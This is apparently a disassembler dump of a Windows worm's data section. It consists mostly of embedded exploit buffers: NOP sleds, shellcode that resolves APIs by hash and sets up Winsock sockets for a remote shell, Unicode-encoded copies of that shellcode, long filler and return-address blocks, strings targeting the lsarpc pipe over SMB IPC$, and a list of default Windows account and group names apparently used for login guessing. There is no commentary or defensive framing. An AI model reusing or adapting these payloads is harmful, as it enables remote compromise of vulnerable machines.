		dd 2000B8Bh, 2 dup(0)
		dd 5E000000h, 1, 5E000000h, 5C000001h, 46005C00h, 4E005800h
		dd 46004200h, 46005800h, 4E005800h, 46004200h, 3 dup(46005800h)
		dd 9D005800h, 0CC010013h, 0CC7FFDE0h, 907FFDE0h, 2Ch dup(90909090h)
		dd 0C4819090h, 0FFFFEFFFh, 0EB02EB44h, 0FFF9E86Bh, 5553FFFFh
		dd 6C8B5756h, 458B1824h, 28548B3Ch, 8BD50378h, 5A8B184Ah
		dd 0E3DD0320h, 348B4932h, 33F5038Bh, 0C033FCFFh, 74E038ACh
		dd 0DCFC107h, 0F2EBF803h, 14247C3Bh, 5A8BE175h,	66DD0324h
		dd 8B4B0C8Bh, 0DD031C5Ah, 38B048Bh, 3302EBC5h, 5D5E5FC0h
		dd 2444895Bh, 24048B04h, 8244489h, 424448Bh, 0C308C483h
		dd 59306A5Eh, 8B198B64h, 5B8B0C5Bh, 8B1B8B1Ch, 0EC83087Bh
		dd 33EC8B1Ch, 2E6850C0h, 89657865h, 68571465h, 0E88A49EAh
		dd 66AD6FFh, 0FF1475FFh, 44589D0h, 8ADB6857h, 0D6FFE923h
		dd 570C4589h, 0E4E8E68h, 33D6FFECh, 6CB966C9h, 3368516Ch
		dd 68642E32h, 5F327377h, 8BD0FF54h, 0B66853D8h,	0FFE71819h
		dd 104589D6h, 79E76853h, 0D6FF79C6h, 53184589h,	2F0B6E68h
		dd 6AD6FF49h, 6A016A06h, 89D0FF02h, 0C0330845h,	0B8505050h
		dd 427FF02h, 50FFF480h,	106AC48Bh, 875FF50h, 1AA46853h
		dd 0D6FFC770h, 5358D0FFh, 2EADA468h, 6AD6FFE9h,	875FF10h
		dd 0C033D0FFh, 75FF5050h, 0E5685308h, 0FF498649h, 8BD0FFD6h
		dd 4589084Dh, 55FF5108h, 0FCC48118h, 8BFFFFFEh,	51C933DCh
		dd 5351FFB1h, 0FF0875FFh, 0C0851055h, 53500A7Eh, 0FF0475FFh
		dd 0E5EB0C55h, 0FF0875FFh, 68571855h, 0DD1A4C5Bh, 75FFD6FFh
		dd 33D0FF04h, 75FF50C0h, 98685714h, 0FF0E8AFEh,	57D0FFD6h
		dd 0E0CEEF68h, 0FFD6FF60h, 5C9090D0h, 24004300h, 31005C00h
		dd 33003200h, 35003400h, 31003600h, 7 dup(31003100h), 64002E00h
		dd 63006F00h, 1000000h,	0CC000810h, 20CCCCCCh, 30000000h
		dd 2D00h, 88000000h, 2000C2Ah, 1000000h, 28000000h, 1000C8Ch
		dd 7000000h, 0
		dd 0EC000000h, 3, 0EC000000h, 90000003h, 27h dup(90909090h)
		dd 81909090h, 0FFEFFFC4h, 2EB44FFh, 0F9E86BEBh,	53FFFFFFh
		dd 8B575655h, 8B18246Ch, 548B3C45h, 0D5037828h,	8B184A8Bh
		dd 0DD03205Ah, 8B4932E3h, 0F5038B34h, 33FCFF33h, 0E038ACC0h
		dd 0CFC10774h, 0EBF8030Dh, 247C3BF2h, 8BE17514h, 0DD03245Ah
		dd 4B0C8B66h, 31C5A8Bh,	8B048BDDh, 2EBC503h, 5E5FC033h
		dd 44895B5Dh, 48B0424h,	24448924h, 24448B08h, 8C48304h
		dd 306A5EC3h, 198B6459h, 8B0C5B8Bh, 1B8B1C5Bh, 83087B8Bh
		dd 0EC8B1CECh, 6850C033h, 6578652Eh, 57146589h,	8A49EA68h
		dd 6AD6FFE8h, 1475FF06h, 4589D0FFh, 0DB685704h,	0FFE9238Ah
		dd 0C4589D6h, 4E8E6857h, 0D6FFEC0Eh, 0B966C933h, 68516C6Ch
		dd 642E3233h, 32737768h, 0D0FF545Fh, 6853D88Bh,	0E71819B6h
		dd 4589D6FFh, 0E7685310h, 0FF79C679h, 184589D6h, 0B6E6853h
		dd 0D6FF492Fh, 16A066Ah, 0D0FF026Ah, 33084589h,	505050C0h
		dd 27FF02B8h, 0FFF48004h, 6AC48B50h, 75FF5010h,	0A4685308h
		dd 0FFC7701Ah, 58D0FFD6h, 0ADA46853h, 0D6FFE92Eh, 75FF106Ah
		dd 33D0FF08h, 0FF5050C0h, 68530875h, 498649E5h,	0D0FFD6FFh
		dd 89084D8Bh, 0FF510845h, 0C4811855h, 0FFFFFEFCh, 0C933DC8Bh
		dd 51FFB151h, 875FF53h,	851055FFh, 500A7EC0h, 475FF53h
		dd 0EB0C55FFh, 875FFE5h, 571855FFh, 1A4C5B68h, 0FFD6FFDDh
		dd 0D0FF0475h, 0FF50C033h, 68571475h, 0E8AFE98h, 0D0FFD6FFh
		dd 0CEEF6857h, 0D6FF60E0h, 9090D0FFh, 15Ch dup(90909090h)
		dd 909090h, 90010046h, 2 dup(90909090h), 66909090h, 71CEC81h
		dd 9090E4FFh, 2	dup(90909090h),	95909090h, 3004014h, 7C000000h
		dd 1004070h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 7C000000h, 1004070h,	0
		dd 1000000h, 0
		dd 7C000000h, 1004070h,	0
		dd 1000000h, 0
		dd 7C000000h, 1004070h,	0
		dd 1000000h, 0
		db    0
		db 2 dup(0), 78h
		db  85h	; …
		db 13h,	0, 0ABh
aJs111111111111	db '[¦é11111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111111111111111111111111111111111111111111111111111111'
		db '11111111111111',0
aN_0		db '­',0Dh,0
		align 10h
		dd 0AD000000h, 9000000Dh, 17Fh dup(90009000h)
		db 0, 90h, 0
byte_4183C7	db 90h			; DATA XREF: sub_407B46+C1o
		dd 4 dup(90009000h)
		db 0, 90h, 0
byte_4183DB	db 90h			; DATA XREF: sub_407B46+A2o
		dd 90009000h
		db 0, 90h, 0
byte_4183E3	db 90h			; DATA XREF: sub_407B46+83o
		dd 4 dup(90009000h)
		db 0
byte_4183F5	db 90h			; DATA XREF: sub_407B46+32o
		align 4
		dd 2 dup(90009000h)
		db 0, 90h, 0
byte_418403	db 90h			; DATA XREF: sub_407B46+2Do
		dd 2 dup(90009000h)
dword_41840C	dd 4Dh dup(90009000h)					; .data:00419F43o ...
		db 0, 90h, 0
byte_418543	db 90h			; DATA XREF: sub_4082A0+16o
		dd 0Dh dup(90009000h)
		db 0, 90h, 0
byte_41857B	db 90h			; DATA XREF: sub_4082A0+43o
		dd 13h dup(90009000h)
		db 0, 90h, 0
byte_4185CB	db 90h			; DATA XREF: sub_4082A0+7Co
		dd 9Fh dup(90009000h)
		db 0, 90h, 0
byte_41884B	db 90h			; DATA XREF: sub_407B46+162o
		dd 1Dh dup(90009000h)
dword_4188C0	dd 90009000h	dword_4188C4	dd 4Dh dup(90009000h)					; rdata:0040A5C5o
dword_4189F8	dd 1Ah dup(90009000h)dword_418A60	dd 5Ch dup(90009000h)byte_418BD0	db 0			; DATA XREF: sub_40C140+1ECr
					; sub_40C140+210r ...
		db 90h
		align 4
		dd 3Fh dup(90009000h)
byte_418CD0	db 0			; DATA XREF: sub_40C140+1C8r
					; sub_40C140+234r ...
		db 90h
		align 4
		dd 2Eh dup(90009000h), 3C009000h, 1C001200h, 90007500h
		dd 5 dup(90009000h), 81009000h,	0FF00C400h, 0FF00EF00h
		dd 4400FF00h, 200EB00h,	6B00EB00h, 0F900E800h, 0FF00FF00h
		dd 5300FF00h
dword_418DD0	dd 56005500h						; sub_40D540:loc_40D777w
dword_418DD4	dd 8B005700h						; sub_40C140+5A9r ...
		dd 24006C00h, 8B001800h, 3C004500h, 54008B00h, 78002800h
		dd 0D5000300h, 4A008B00h, 8B001800h, 20005A00h,	0DD000300h
		dd 3200E300h, 8B004900h, 8B003400h, 0F5000300h,	0FF003300h
		dd 3300FC00h, 0AC00C000h, 0E0003800h, 7007400h,	0CF00C100h
		dd 3000D00h, 0EB00F800h, 3B00F200h, 24007C00h, 75001400h
		dd 8B00E100h, 24005A00h, 0DD000300h, 8B006600h,	4B000C00h
		dd 5A008B00h, 3001C00h,	8B00DD00h, 8B000400h, 0C5000300h
		dd 200EB00h, 0C0003300h, 5E005F00h, 5B005D00h, 44008900h
		dd 4002400h, 4008B00h, 89002400h, 24004400h, 8B000800h
		dd 24004400h, 83000400h, 800C400h, 5E00C300h, 30006A00h
		dd 64005900h, 19008B00h, 5B008B00h, 8B000C00h, 1C005B00h
		dd 1B008B00h, 7B008B00h, 83000800h, 1C00EC00h, 0EC008B00h
		dd 0C0003300h, 68005000h, 65002E00h, 65007800h,	65008900h
		dd 57001400h, 0EA006800h, 8A004900h, 0FF00E800h, 6A00D600h
		dd 0FF000600h, 14007500h, 0D000FF00h, 45008900h, 57000400h
		dd 0DB006800h, 23008A00h, 0FF00E900h, 8900D600h, 0C004500h
		dd 68005700h, 4E008E00h, 0EC000E00h, 0D600FF00h, 0C9003300h
		dd 0B9006600h, 6C006C00h, 68005100h, 32003300h,	64002E00h
		dd 77006800h, 32007300h, 54005F00h, 0D000FF00h,	0D8008B00h
		dd 68005300h, 1900B600h, 0E7001800h, 0D600FF00h, 45008900h
		dd 53001000h, 0E7006800h, 0C6007900h, 0FF007900h, 8900D600h
		dd 18004500h, 68005300h, 0B006E00h, 49002F00h, 0D600FF00h
		dd 6006A00h, 1006A00h, 2006A00h, 0D000FF00h, 45008900h
		dd 33000800h, 5000C000h, 50005000h, 200B800h, 2700FF00h
		dd 80000400h, 0FF00F400h, 8B005000h, 6A00C400h,	50001000h
		dd 7500FF00h, 53000800h, 0A4006800h, 70001A00h,	0FF00C700h
		dd 0FF00D600h, 5800D000h, 68005300h, 0AD00A400h, 0E9002E00h
		dd 0D600FF00h, 10006A00h, 7500FF00h, 0FF000800h, 3300D000h
		dd 5000C000h, 0FF005000h, 8007500h, 68005300h, 4900E500h
		dd 49008600h, 0D600FF00h, 0D000FF00h, 4D008B00h, 89000800h
		dd 8004500h, 0FF005100h, 18005500h, 0C4008100h,	0FE00FC00h
		dd 0FF00FF00h, 0DC008B00h, 0C9003300h, 0B1005100h, 5100FF00h
		dd 0FF005300h, 8007500h, 5500FF00h, 85001000h, 7E00C000h
		dd 50000A00h, 0FF005300h, 4007500h, 5500FF00h, 0EB000C00h
		dd 0FF00E500h, 8007500h, 5500FF00h, 57001800h, 5B006800h
		dd 1A004C00h, 0FF00DD00h, 0FF00D600h, 4007500h,	0D000FF00h
		dd 0C0003300h, 0FF005000h, 14007500h, 68005700h, 0FE009800h
		dd 0E008A00h, 0D600FF00h, 0D000FF00h, 68005700h, 0CE00EF00h
		dd 6000E000h, 0D600FF00h, 0D000FF00h, 3Eh dup(90009000h)
dword_4191D4	dd 90009000h						; sub_40C140+5B0r ...
		dd 87h dup(90009000h), 0EB009000h, 0EB000600h, 3C000600h
		dd 1C001200h, 90007500h, 3 dup(90009000h), 81009000h, 0FF00C400h
		dd 0FF00EF00h, 4400FF00h, 200EB00h, 6B00EB00h, 0F900E800h
		dd 0FF00FF00h, 5300FF00h, 56005500h, 8B005700h,	24006C00h
		dd 8B001800h, 3C004500h, 54008B00h, 78002800h, 0D5000300h
		dd 4A008B00h, 8B001800h, 20005A00h, 0DD000300h,	3200E300h
		dd 8B004900h, 8B003400h, 0F5000300h, 0FF003300h, 3300FC00h
		dd 0AC00C000h, 0E0003800h, 7007400h, 0CF00C100h, 3000D00h
		dd 0EB00F800h, 3B00F200h, 24007C00h, 75001400h,	8B00E100h
		dd 24005A00h, 0DD000300h, 8B006600h, 4B000C00h,	5A008B00h
		dd 3001C00h, 8B00DD00h,	8B000400h, 0C5000300h, 200EB00h
		dd 0C0003300h, 5E005F00h, 5B005D00h, 44008900h,	4002400h
		dd 4008B00h, 89002400h,	24004400h, 8B000800h, 24004400h
		dd 83000400h, 800C400h,	5E00C300h, 30006A00h, 64005900h
		dd 19008B00h, 5B008B00h, 8B000C00h, 1C005B00h, 1B008B00h
		dd 7B008B00h, 83000800h, 1C00EC00h, 0EC008B00h,	0C0003300h
		dd 68005000h, 65002E00h, 65007800h, 65008900h, 57001400h
		dd 0EA006800h, 8A004900h, 0FF00E800h, 6A00D600h, 0FF000600h
		dd 14007500h, 0D000FF00h, 45008900h, 57000400h,	0DB006800h
		dd 23008A00h, 0FF00E900h, 8900D600h, 0C004500h,	68005700h
		dd 4E008E00h, 0EC000E00h, 0D600FF00h, 0C9003300h, 0B9006600h
		dd 6C006C00h, 68005100h, 32003300h, 64002E00h, 77006800h
		dd 32007300h, 54005F00h, 0D000FF00h, 0D8008B00h, 68005300h
		dd 1900B600h, 0E7001800h, 0D600FF00h, 45008900h, 53001000h
dword_4195D4	dd 0E7006800h						; sub_40C140+5EFr ...
		dd 0C6007900h, 0FF007900h, 8900D600h, 18004500h, 68005300h
		dd 0B006E00h, 49002F00h, 0D600FF00h, 6006A00h, 1006A00h
		dd 2006A00h, 0D000FF00h, 45008900h, 33000800h, 5000C000h
		dd 50005000h, 200B800h,	2700FF00h, 80000400h, 0FF00F400h
		dd 8B005000h, 6A00C400h, 50001000h, 7500FF00h, 53000800h
		dd 0A4006800h, 70001A00h, 0FF00C700h, 0FF00D600h, 5800D000h
		dd 68005300h, 0AD00A400h, 0E9002E00h, 0D600FF00h, 10006A00h
		dd 7500FF00h, 0FF000800h, 3300D000h, 5000C000h,	0FF005000h
		dd 8007500h, 68005300h,	4900E500h, 49008600h, 0D600FF00h
		dd 0D000FF00h, 4D008B00h, 89000800h, 8004500h, 0FF005100h
		dd 18005500h, 0C4008100h, 0FE00FC00h, 0FF00FF00h, 0DC008B00h
		dd 0C9003300h, 0B1005100h, 5100FF00h, 0FF005300h, 8007500h
		dd 5500FF00h, 85001000h, 7E00C000h, 50000A00h, 0FF005300h
		dd 4007500h, 5500FF00h,	0EB000C00h, 0FF00E500h,	8007500h
		dd 5500FF00h, 57001800h, 5B006800h, 1A004C00h, 0FF00DD00h
		dd 0FF00D600h, 4007500h, 0D000FF00h, 0C0003300h, 0FF005000h
		dd 14007500h, 68005700h, 0FE009800h, 0E008A00h,	0D600FF00h
		dd 0D000FF00h, 68005700h, 0CE00EF00h, 6000E000h, 0D600FF00h
		dd 0D000FF00h, 5Dh dup(90009000h), 31313100h, 18h dup(31313131h)
		dd 313131h, 9A000000h, 10040A8h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 1000000h, 0
		dd 9A000000h, 10040A8h,	0
		dd 1000000h, 0
		dd 9A000000h, 10040A8h,	0
		dd 1000000h, 0
		dd 9A000000h, 10040A8h,	0
		dd 1000000h, 0
		dd 31000000h, 0Ch dup(31313131h)
dword_4199D4	dd 31313131h						; sub_40C140+62Er ...
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 3 dup(31h)
		db  31h	; 1
		db 2 dup(31h), 78h
		db  57h	; W
		db 34h,	12h, 34h
		db  12h
		db 0CDh, 0ABh, 0EFh
		db    0
		db 1, 23h, 45h
		db  67h	; g
		db 89h,	0ABh, 0
		db    0
		db 2 dup(0), 5Ch
aLsarpc		db 'lsarpc',0
aSmbserverIpc	db '\\*SMBSERVER\IPC$',0
		db 41h,	64h, 6Dh
aInistrator	db 'inistrator',0       ; DATA XREF: sub_409C10+13o
aPassword	db 'password',0
aS_1		db '\\%s',0
aKrbtgt		db 'krbtgt',0
aSupport_388945	db 'SUPPORT_388945a0',0
aTelnetclients	db 'TelnetClients',0
aHelpassistant	db 'HelpAssistant',0
aHelpservicesgr	db 'HelpServicesGroup',0
aTsinternetuser	db 'TsInternetUser',0
aSqldebugger	db 'SQLDebugger',0
aSqlserver	db 'SQLServer',0
aSqlagentcmdexe	db 'SQLAgentCmdExec',0
aNetshowservice	db 'NetShowServices',0
aAspnet		db 'ASPNET',0           ; DATA XREF: .data:0041B7E8o
					; .data:0041BBD8o
aVusr		db 'VUSR',0
aIls_		db 'ILS_',0
aIis_		db 'IIS_',0
aIusr_		db 'IUSR_',0
aIwam_		db 'IWAM_',0
aOws_		db 'OWS_',0
aAspnet_0	db 'ASPNET',0
aDhcp		db 'DHCP',0
aWins		db 'WINS ',0            ; DATA XREF: .data:0041B7E0o
					; .data:0041B7ECo
aWeb		db 'WEB ',0
aPop3		db 'POP3 ',0
aSql		db 'SQL',0
asc_419EE4	db '$',0                ; DATA XREF: .data:0041B7F4o
a??		db '??',0
aVmware		db 'vmware',0
aGroup		db '-group',0
aUser		db '-user',0
aAuthors	db ' Authors',0
aAdmins		db ' Admins',0
aBrowsers	db ' Browsers',0
aGuests		db ' Guests',0
aUsers		db ' Users',0
aDevelopers	db ' Developers',0
aAdministrators	db ' Administrators',0
		dd offset dword_41840C+5
		dd offset dword_41840C+0Ch
		dd offset dword_41840C+1Dh
		dd offset dword_41840C+2Bh
		dd offset dword_41840C+39h
		dd offset dword_41840C+4Bh
		dd offset dword_41840C+5Ah
		dd offset dword_41840C+66h
		dd offset dword_41840C+70h
		dd offset dword_41840C+80h
		dd offset dword_41840C+90h
		align 10h
		dd 2 dup(0)
		dd 0A3000000h, 0A8004184h, 0AD004184h, 0B2004184h, 0B8004184h
		dd 0C3004184h, 0BE004184h, 0CA004184h, 0CF004184h, 0D5004184h
		dd 0DA004184h, 0E0004184h, 0E4004184h, 0E6004184h, 0E9004184h
		dd 0F0004184h, 0F7004184h, 4184h, 2 dup(0)
		dd 0FD000000h, 6004184h, 0E004185h, 18004185h, 20004185h
		dd 27004185h, 33004185h, 4185h,	2 dup(0)
		dd 4E000000h, 6E006F00h
		db 0, 65h, 0
byte_419FFB	db 0			; DATA XREF: rdata:loc_40F83Bo
		dd 6F004400h, 61006D00h, 6E006900h, 55002000h, 65007300h
		dd 73007200h
		db 2 dup(0)
dword_41A016	dd 65004700h						; rdata:0040F8F1r
word_41A01A	dw 6500h		; DATA XREF: .data:0041BCFCo
		dd 6E00h, 6F004400h, 65006D00h,	6E006900h, 65006700h, 72006200h
		dd 69007500h, 65006B00h, 73007200h, 41000000h, 63007500h
		dd 6E007500h, 49000000h, 76006E00h, 0E9006900h,	20007300h
		dd 75006400h, 64002000h, 6D006F00h, 69006100h, 65006E00h
